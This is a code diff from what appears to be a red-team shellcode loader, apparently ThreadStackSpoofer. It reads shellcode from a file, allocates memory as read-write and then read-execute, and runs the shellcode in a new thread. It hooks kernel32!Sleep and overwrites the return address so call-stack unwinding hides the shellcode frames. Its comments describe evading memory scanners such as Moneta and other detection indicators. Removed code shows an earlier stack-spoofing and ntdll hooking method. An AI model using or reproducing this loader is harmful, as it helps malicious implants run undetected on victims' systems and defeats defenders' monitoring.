void walkCallStack(HANDLE hThread, CallStackFrame* frames, size_t maxFrames, size_t* numOfFrames, bool onlyBeaconFrames = false);
bool initStackSpoofing();
bool fastTrampoline(bool installHook, BYTE* addressToHook, LPVOID jumpAddress, HookTrampolineBuffers* buffers = NULL);
void spoofCallStack(bool overwriteOrRestore);
void WINAPI MySleep(DWORD _dwMilliseconds);
+85 -239
View File
@@ -1,19 +1,41 @@
#include "header.h"
#include <intrin.h>
HookedSleep g_hookedSleep;
StackTraceSpoofingMetadata g_stackTraceSpoofing;
void WINAPI MySleep(DWORD _dwMilliseconds)
void WINAPI MySleep(DWORD dwMilliseconds)
{
const volatile DWORD dwMilliseconds = _dwMilliseconds;
spoofCallStack(true);
//
// Locate this stack frame's return address.
//
auto overwrite = (PULONG_PTR)_AddressOfReturnAddress();
const auto origReturnAddress = *overwrite;
log("MySleep(", std::dec, dwMilliseconds, ")");
log("[>] Original return address: 0x",
std::hex, std::setw(8), std::setfill('0'), origReturnAddress,
". Finishing call stack...");
//
// By overwriting the return address with 0 we're basically telling call stack unwinding algorithm
// to stop unwinding call stack any further, as there further frames. This we can hide our remaining stack frames
// referencing shellcode memory allocation from residing on a call stack.
//
*overwrite = 0;
log("\n===> MySleep(", std::dec, dwMilliseconds, ")\n");
//
// Perform sleep emulating originally hooked functionality.
//
::SleepEx(dwMilliseconds, false);
spoofCallStack(false);
//
// Restore original thread's call stack.
//
log("[<] Restoring original return address...");
*overwrite = origReturnAddress;
}
bool fastTrampoline(bool installHook, BYTE* addressToHook, LPVOID jumpAddress, HookTrampolineBuffers* buffers /*= NULL*/)
@@ -83,6 +105,17 @@ bool fastTrampoline(bool installHook, BYTE* addressToHook, LPVOID jumpAddress, H
}
}
static typeNtFlushInstructionCache pNtFlushInstructionCache = NULL;
if (!pNtFlushInstructionCache)
pNtFlushInstructionCache = (typeNtFlushInstructionCache)
GetProcAddress(GetModuleHandleA("ntdll"), "NtFlushInstructionCache");
//
// We're flushing instructions cache just in case our hook didn't kick in immediately.
//
if (pNtFlushInstructionCache)
pNtFlushInstructionCache(GetCurrentProcess(), addressToHook, dwSize);
::VirtualProtect(
addressToHook,
dwSize,
@@ -101,217 +134,12 @@ bool hookSleep()
g_hookedSleep.origSleep = reinterpret_cast<typeSleep>(Sleep);
if (!fastTrampoline(true, (BYTE*)::Sleep, &MySleep, &buffers))
if (!fastTrampoline(true, (BYTE*)::Sleep, (void*)&MySleep, &buffers))
return false;
return true;
}
void walkCallStack(HANDLE hThread, CallStackFrame* frames, size_t maxFrames, size_t* numOfFrames, bool onlyBeaconFrames /*= false*/)
{
CONTEXT c = { 0 };
STACKFRAME64 s = { 0 };
DWORD imageType;
ULONG curRecursionCount = 0;
c.ContextFlags = CONTEXT_ALL;
if (hThread == GetCurrentThread() || hThread == 0)
RtlCaptureContext(&c);
else
GetThreadContext(hThread, &c);
#ifdef _M_IX86
const ULONG_PTR invalidAddr = 0xcccccccc;
// normally, call ImageNtHeader() and use machine info from PE header
imageType = IMAGE_FILE_MACHINE_I386;
s.AddrPC.Offset = c.Eip;
s.AddrPC.Mode = AddrModeFlat;
s.AddrFrame.Offset = c.Ebp;
s.AddrFrame.Mode = AddrModeFlat;
s.AddrStack.Offset = c.Esp;
s.AddrStack.Mode = AddrModeFlat;
#elif _M_X64
const ULONG_PTR invalidAddr = 0xcccccccccccccccc;
imageType = IMAGE_FILE_MACHINE_AMD64;
s.AddrPC.Offset = c.Rip;
s.AddrPC.Mode = AddrModeFlat;
s.AddrFrame.Offset = c.Rsp;
s.AddrFrame.Mode = AddrModeFlat;
s.AddrStack.Offset = c.Rsp;
s.AddrStack.Mode = AddrModeFlat;
#elif _M_IA64
const ULONG_PTR invalidAddr = 0xcccccccccccccccc;
imageType = IMAGE_FILE_MACHINE_IA64;
s.AddrPC.Offset = c.StIIP;
s.AddrPC.Mode = AddrModeFlat;
s.AddrFrame.Offset = c.IntSp;
s.AddrFrame.Mode = AddrModeFlat;
s.AddrBStore.Offset = c.RsBSP;
s.AddrBStore.Mode = AddrModeFlat;
s.AddrStack.Offset = c.IntSp;
s.AddrStack.Mode = AddrModeFlat;
#else
#error "Platform not supported!"
#endif
log("WalkCallStack: Stack Trace: ");
*numOfFrames = 0;
ULONG Frame = 0;
for (Frame = 0; ; Frame++)
{
BOOL result = g_stackTraceSpoofing.pStackWalk64(
imageType,
GetCurrentProcess(),
hThread,
&s,
&c,
NULL,
(PFUNCTION_TABLE_ACCESS_ROUTINE64)g_stackTraceSpoofing.pSymFunctionTableAccess64,
(PGET_MODULE_BASE_ROUTINE64)g_stackTraceSpoofing.pSymGetModuleBase64,
NULL
);
if (!result || s.AddrReturn.Offset == 0)
break;
if (s.AddrPC.Offset == s.AddrReturn.Offset)
{
if (curRecursionCount > 1000)
{
break;
}
curRecursionCount++;
}
else
{
curRecursionCount = 0;
}
CallStackFrame frame = { 0 };
frame.calledFrom = s.AddrPC.Offset;
frame.stackAddr = s.AddrStack.Offset;
frame.frameAddr = s.AddrFrame.Offset;
frame.retAddr = s.AddrReturn.Offset;
if (Frame > maxFrames)
break;
if (Frame < Frames_To_Preserve) continue;
bool skipFrame = false;
if (onlyBeaconFrames)
{
MEMORY_BASIC_INFORMATION mbi = { 0 };
if (VirtualQuery((LPVOID)frame.retAddr, &mbi, sizeof(mbi)))
{
if (mbi.Type != MEM_PRIVATE && mbi.Type != 0) skipFrame = true;
if ((mbi.Protect & PAGE_EXECUTE) != 0 || (mbi.Protect & PAGE_EXECUTE_READ) != 0 || !(mbi.Protect & PAGE_EXECUTE_READWRITE) != 0) {
}
else {
skipFrame = true;
}
}
if (frame.retAddr == invalidAddr) skipFrame = true;
}
if (!skipFrame && frame.retAddr != 0 && frame.frameAddr != 0)
{
frames[(*numOfFrames)++] = frame;
}
log("\t", std::dec, Frame, ".\tcalledFrom: 0x", std::setw(8), std::hex, frame.calledFrom, " - stack: 0x", frame.stackAddr,
" - frame: 0x", frame.frameAddr, " - ret: 0x", frame.retAddr, " - skip? ", skipFrame);
}
log("WalkCallStack: Stack Trace finished.");
}
void spoofCallStack(bool overwriteOrRestore)
{
CallStackFrame frames[MaxStackFramesToSpoof] = { 0 };
size_t numOfFrames = 0;
walkCallStack(GetCurrentThread(), frames, _countof(frames), &numOfFrames, true);
if (overwriteOrRestore)
{
for (size_t i = 0; i < numOfFrames; i++)
{
auto& frame = frames[i];
if (g_stackTraceSpoofing.spoofedFrames < MaxStackFramesToSpoof)
{
frame.overwriteWhat = (ULONG_PTR)::CreateFileW;
g_stackTraceSpoofing.spoofedFrame[g_stackTraceSpoofing.spoofedFrames++] = frame;
}
}
for (size_t i = 0; i < g_stackTraceSpoofing.spoofedFrames; i++)
{
auto frame = g_stackTraceSpoofing.spoofedFrame[i];
*(PULONG_PTR)(frame.frameAddr + sizeof(ULONG_PTR)) = frame.overwriteWhat;
log("\t\t\tSpoofed: 0x",
std::setw(8), std::setfill('0'), std::hex, frame.retAddr, " -> 0x", frame.overwriteWhat);
}
}
else
{
for (size_t i = 0; i < g_stackTraceSpoofing.spoofedFrames; i++)
{
auto frame = g_stackTraceSpoofing.spoofedFrame[i];
*(PULONG_PTR)(frame.frameAddr + sizeof(ULONG_PTR)) = frame.retAddr;
log("\t\t\tRestored: 0x", std::setw(8), std::setfill('0'), std::hex, frame.overwriteWhat, " -> 0x", frame.retAddr);
}
memset(g_stackTraceSpoofing.spoofedFrame, 0, sizeof(g_stackTraceSpoofing.spoofedFrame));
g_stackTraceSpoofing.spoofedFrames = 0;
}
return;
}
bool initStackSpoofing()
{
memset(&g_stackTraceSpoofing, 0, sizeof(g_stackTraceSpoofing));
g_stackTraceSpoofing.hDbghelp = LoadLibraryA("dbghelp.dll");
if (!g_stackTraceSpoofing.hDbghelp)
return false;
g_stackTraceSpoofing.pSymFunctionTableAccess64 =
GetProcAddress(g_stackTraceSpoofing.hDbghelp, "SymFunctionTableAccess64");
g_stackTraceSpoofing.pSymGetModuleBase64 =
GetProcAddress(g_stackTraceSpoofing.hDbghelp, "SymGetModuleBase64");
g_stackTraceSpoofing.pStackWalk64 =
(typeStackWalk64)GetProcAddress(g_stackTraceSpoofing.hDbghelp, "StackWalk64");
auto pSymInitialize =
(typeSymInitialize)GetProcAddress(g_stackTraceSpoofing.hDbghelp, "SymInitialize");
if (!g_stackTraceSpoofing.pSymFunctionTableAccess64
|| !g_stackTraceSpoofing.pSymGetModuleBase64
|| !g_stackTraceSpoofing.pStackWalk64
|| !pSymInitialize
)
return false;
pSymInitialize(GetCurrentProcess(), nullptr, TRUE);
log("[+] Stack spoofing initialized.");
g_stackTraceSpoofing.initialized = true;
return true;
}
bool readShellcode(const char* path, std::vector<uint8_t>& shellcode)
{
HandlePtr file(CreateFileA(
@@ -336,8 +164,23 @@ bool readShellcode(const char* path, std::vector<uint8_t>& shellcode)
return ReadFile(file.get(), shellcode.data(), lowSize, &readBytes, NULL);
}
bool injectShellcode(std::vector<uint8_t>& shellcode, HandlePtr &thread)
void runShellcode(LPVOID param)
{
auto func = ((void(*)())param);
//
// Jumping to shellcode. Look at the coment in injectShellcode() describing why we opted to jump
// into shellcode in a classical manner instead of fancy hooking
// ntdll!RtlUserThreadStart+0x21 like in ThreadStackSpoofer example.
//
func();
}
bool injectShellcode(std::vector<uint8_t>& shellcode, HandlePtr& thread)
{
//
// Firstly we allocate RW page to avoid RWX-based IOC detections
//
auto alloc = ::VirtualAlloc(
NULL,
shellcode.size() + 1,
@@ -345,40 +188,50 @@ bool injectShellcode(std::vector<uint8_t>& shellcode, HandlePtr &thread)
PAGE_READWRITE
);
if (!alloc)
if (!alloc)
return false;
memcpy(alloc, shellcode.data(), shellcode.size());
DWORD old;
//
// Then we change that protection to RX
//
if (!VirtualProtect(alloc, shellcode.size() + 1, Shellcode_Memory_Protection, &old))
return false;
LPVOID fakeAddr = (LPVOID)(((ULONG_PTR)GetProcAddress(GetModuleHandleA("ntdll"), "RtlUserThreadStart")) + 0x21);
BYTE origRtlUserThreadStartBytes[16];
HookTrampolineBuffers buffers = { 0 };
buffers.previousBytes = buffers.originalBytes = origRtlUserThreadStartBytes;
buffers.previousBytesSize = buffers.originalBytesSize = sizeof(origRtlUserThreadStartBytes);
if (!fastTrampoline(true, (BYTE*)fakeAddr, alloc, &buffers))
return false;
shellcode.clear();
//
// Example provided in previous release of ThreadStackSpoofer:
// https://github.com/mgeeky/ThreadStackSpoofer/blob/ec0237c5f8b1acd052d57562a43f40a20752b5ca/ThreadStackSpoofer/main.cpp#L417
// showed how we can start our shellcode from temporarily hooked ntdll!RtlUserThreadStart+0x21 .
//
// That approached was a bit flawed due to the fact, the as soon as we introduce a hook within module,
// even when we immediately unhook it the system allocates a page of memory (4096 bytes) of type MEM_PRIVATE
// inside of a shared library allocation that comprises of MEM_IMAGE/MEM_MAPPED pool.
//
// Memory scanners such as Moneta are sensitive to scanning memory mapped PE DLLs and finding amount of memory
// labeled as MEM_PRIVATE within their region, considering this (correctly!) as a "Modified Code" anomaly.
//
// We're unable to evade this detection for kernel32!Sleep however we can when it comes to ntdll. Instead of
// running our shellcode from a legitimate user thread callback, we can simply run a thread pointing to our
// method and we'll instead jump to the shellcode from that method.
//
// After discussion I had with @waldoirc we came to the conclusion that in order not to bring new IOCs it is better
// to start shellcode from within EXE's own code space, thus avoiding detections based on `ntdll!RtlUserThreadStart+0x21`
// being an outstanding anomaly in some environments. Shout out to @waldoirc for our really long discussion!
//
thread.reset(::CreateThread(
NULL,
0,
(LPTHREAD_START_ROUTINE)fakeAddr,
0,
(LPTHREAD_START_ROUTINE)runShellcode,
alloc,
0,
0
));
::SleepEx(1000, false);
if (!fastTrampoline(false, (BYTE*)fakeAddr, alloc, &buffers))
return false;
return (NULL != thread.get());
}
@@ -402,13 +255,6 @@ int main(int argc, char** argv)
if (spoof)
{
log("[.] Thread call stack will be spoofed.");
if (!initStackSpoofing())
{
log("[!] Could not initialize stack spoofing!");
return 1;
}
log("[.] Hooking kernel32!Sleep...");
if (!hookSleep())
{
BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 43 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 96 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 95 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 32 KiB